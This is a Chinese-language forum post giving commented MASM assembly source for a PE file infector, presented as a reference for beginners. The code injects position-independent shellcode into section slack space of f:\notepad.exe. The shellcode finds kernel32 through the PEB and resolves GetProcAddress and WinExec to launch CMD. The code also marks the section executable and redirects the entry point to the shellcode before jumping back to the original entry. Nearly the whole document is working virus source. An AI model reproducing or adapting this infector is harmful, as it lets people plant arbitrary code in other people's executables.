代码不复杂 仅仅感染f盘下的notepad.exe

感染方式很简单:
遍历节表 找到可以容纳shellcode的节  写入shellcode


sellcode的功能也很简单:
通过fs:[30h]获得peb 通过peb获得kernel32.dll的基址  遍历导出表  找到GetProcAddress的内存地址  然后调用GetProcAddress获得WinExec的内存地址  然后执行CMD  最后跳回原始OEP


主要是我把注释写的比较完善了,给和我一样的新手做个参考吧。 


代码:
.386
.model flat,stdcall
option  casemap:none

include windows.inc
include kernel32.inc
include user32.inc

includelib kernel32.lib
includelib user32.lib

.const
szFile    db    'f:\notepad.exe',0

.data?
hFile      dd    ?
hMapFile    dd    ?
lpFile    dd    ?

lpCodeRva  dd    ?
lpCodeOffset  dd  ?

.code



;shellcode start
SHELLCODE_START equ this byte

  assume  fs:flat
  mov  eax,fs:[30h]
  mov  eax,[eax + 0ch]
  mov  esi,[eax + 1ch]
  lodsd
  mov  edx,[eax + 8h]  ;得到kernel32.dll的基地址
  
  mov  eax,(IMAGE_DOS_HEADER ptr [edx]).e_lfanew
  mov  eax,(IMAGE_NT_HEADERS ptr [edx + eax]).OptionalHeader.DataDirectory.VirtualAddress  ;导出表的RVA
  add  eax,edx  ;导出表在内存中的实际地址
  
  assume  eax:ptr IMAGE_EXPORT_DIRECTORY

  mov  esi,[eax].AddressOfNames
  add  esi,edx
  
  push  00007373h
  push  65726464h
  push  41636f72h
  push  50746547h  ;这四句push 构造了 GetProcAddress\0  共15(0fh)个字节
  
  push  esp      ;把此时栈顶的值压入栈中 等会要用
  
  xor  ecx,ecx
  .repeat
    mov  edi,[esi]
    add  edi,edx      ;首次循环时 edi的值就是首个导出函数的名称的地址
  
    push  esi        ;esi是AddressOfNames 函数名称的地址数组的地址 先保存起来
    
    mov  esi,[esp+4]    ;[esp+4]获取栈顶数第二个  是一个DWORD  值是指向栈空间里的GetProcAddress 
    
    ;注意 此时[esi]就是栈中的GetProcAddress  [edi]就是导出函数的名称
    
    push  ecx        ;保存遍历导出表中函数名称的循环次数
    
    mov  ecx,0fh      ;GetProcAddress\0的长度  设置循环比较[esi]和[edi]的循环次数

    repz  cmpsb        ;对比 [esi] 和 [edi]

    .break  .if ZERO?  ;循环cmp后  zero flag仍然是0 说明找到了 GetProcAddress  则跳出循环
    
    pop  ecx        ;恢复遍历导出表中函数名称的循环次数
    
    pop  esi        ;恢复esi为 指向 AddressOfNames 函数名称的地址数组的地址
    
    add  esi,4        ;指向下一个DWORD esi就是下一个函数名称的地址
    
    inc  ecx
    
  .until  ecx >= [eax].NumberOfNames
  
  
  pop  ecx      ;ecx此时是GetProcAddress在kernel32.dll中的AddressOfNames数组的位置  和AddressOfNameOrdinas是一一对应的
  
  
  add  esp,18h    ;释放栈中的 GetProcAddress\0\0 16个字节 + 地址4个字节 + esi也是4个字节   共24(18h)个字节
  
  mov  esi,[eax].AddressOfNameOrdinals
  add  esi,edx    ;esi此时是AddressOfNameOrdinals的地址了
  
  movzx  ecx,WORD ptr [esi+ ecx * 2]  ;计算序数的地址 并取得该地址中的值 也就是序数啦 保存到ecx中  (乘2是因为序数是WORD类型保存的)
  
  
  mov  esi,[eax].AddressOfFunctions
  add  esi,edx
  mov  esi,[esi+ecx*4]        ;将GetProcAddress的RVA 存到esi中
  
  add  esi,edx              ;加上基址 得到GetProcAddress的基址
  
  assume eax:nothing
  
  ;注意  esi中现在是GetProcAddress的地址了
  ;以下代码可以使用 call esi  调用GetProcAddress了
  
  push  00636578h
  push  456e6957h  ;在栈中构造字符串 WinExec
  
  push  esp      ;老办法 把刚才构造的WinExec的内存地址再入栈
  push  edx      ;kernel32.dll的基址 也就是HANDLE
  
  call  esi      ;调用GetProcAddress 获取 WinExec的地址
  
  add  esp,8      ;释放栈里面的字符串 WinExec所占空间
  
  ;注意 此时eax就是WinExec的地址
  
  push  00444d43h  ;在栈中构造字符串 CMD
  push  esp
  push  SW_SHOW
  push  [esp+4]    ;加4是因为此时栈顶是刚刚压入的SW_SHOW,加4后才是栈中构造的字符串CMD
  
  call eax        ;调用WinExec 执行CMD

  add  esp,4


  ;以下代码要跳回原始oep了
  
  db 68h          ;机器码68h 是PUSH的意思
  OldEntryPoint:
  dd ?            ;这4个BYTE 将被修改为原来的入口点 与上一句68h  组成PUSH xxxxxxxx  
  jmp DWORD ptr [esp]  ;前面刚把原来的入口点压入栈中 所以 jmp 到 esp栈顶的元素 也就是原来的入口点

;  db 0e9h
;  OEPOffs:
;  dd ?            ;或者可以用这种e9跳转的形式
  

SHELLCODE_END equ this byte

SHELLCODE_LENGTH equ offset SHELLCODE_END - offset SHELLCODE_START
;shellcode ends




start:
  
  invoke CreateFile,addr szFile,GENERIC_READ or GENERIC_WRITE,NULL,NULL,OPEN_EXISTING,NULL,NULL
  
  .if eax != INVALID_HANDLE_VALUE
    mov hFile, eax
    invoke CreateFileMapping,hFile,NULL,PAGE_READWRITE,0,0,NULL

    .if eax
      mov hMapFile, eax
      invoke MapViewOfFile,hMapFile,FILE_MAP_READ or FILE_MAP_WRITE,0,0,0

      .if eax
        xor ebx,ebx
        mov bx,(IMAGE_DOS_HEADER ptr [eax]).e_magic 
        .if bx == IMAGE_DOS_SIGNATURE
          mov lpFile, eax
          mov esi, eax
          mov esi, (IMAGE_DOS_HEADER ptr [eax]).e_lfanew
          add esi, eax
          
          assume esi: ptr IMAGE_NT_HEADERS
          
          .if [esi].Signature == IMAGE_NT_SIGNATURE
          
            mov ebx, esi
            add ebx, sizeof IMAGE_NT_HEADERS
            
            assume ebx: ptr IMAGE_SECTION_HEADER
            
            xor eax, eax
            mov ax, [esi].FileHeader.NumberOfSections
            mov ecx, eax
            
            lp:
              mov eax, [ebx].SizeOfRawData
              sub eax, [ebx].Misc.VirtualSize
              .if eax > SHELLCODE_LENGTH
                jmp @F
              .endif
              add ebx, sizeof IMAGE_SECTION_HEADER
    
            loop lp

          .endif
        .endif
      .endif
    .endif
  .endif

  invoke ExitProcess,NULL
  
  @@:  ;finded section
  
  mov eax, [ebx].VirtualAddress
  add eax, [ebx].Misc.VirtualSize
  mov lpCodeRva, eax
  
  mov eax, [ebx].PointerToRawData
  add eax, [ebx].Misc.VirtualSize
  mov lpCodeOffset, eax
  
  or  [ebx].Characteristics, IMAGE_SCN_MEM_READ        
  or [ebx].Characteristics, IMAGE_SCN_MEM_EXECUTE
  
  add [ebx].Misc.VirtualSize, SHELLCODE_LENGTH
  
  add eax, lpFile
  
  invoke RtlMoveMemory,eax, offset SHELLCODE_START, SHELLCODE_LENGTH
  
  mov edi, [esi].OptionalHeader.AddressOfEntryPoint
  add edi, [esi].OptionalHeader.ImageBase          ;shellcode 中要jmp到这个地址    这是使用 push xxxxxxxx  jmp DWORD ptr [esp] 方法时用的地址

;  mov eax, lpCodeRva                        ;新的入口点
;  add eax, offset OEPOffs - offset SHELLCODE_START + 4  ;加上OEPOffs标号位置+4   就是跳转的基地址了 +4是因为跳转的基地址是下一条指令的地址
;  sub edi, eax                            ;shellcode 中要jmp到这个偏移    旧的OEP是目标地址 减去跳转的基地址  就是偏移了

    
  mov eax, lpFile
  add eax, lpCodeOffset

  add eax, offset OldEntryPoint - offset SHELLCODE_START  ;jmp DWORD ptr [esp] 时使用的方法
;  add eax, offset OEPOffs - offset SHELLCODE_START      ;直接jmp偏移使用的方法

  
  mov [eax], edi
  
  push lpCodeRva
  pop [esi].OptionalHeader.AddressOfEntryPoint
  
  invoke ExitProcess,NULL

  

end start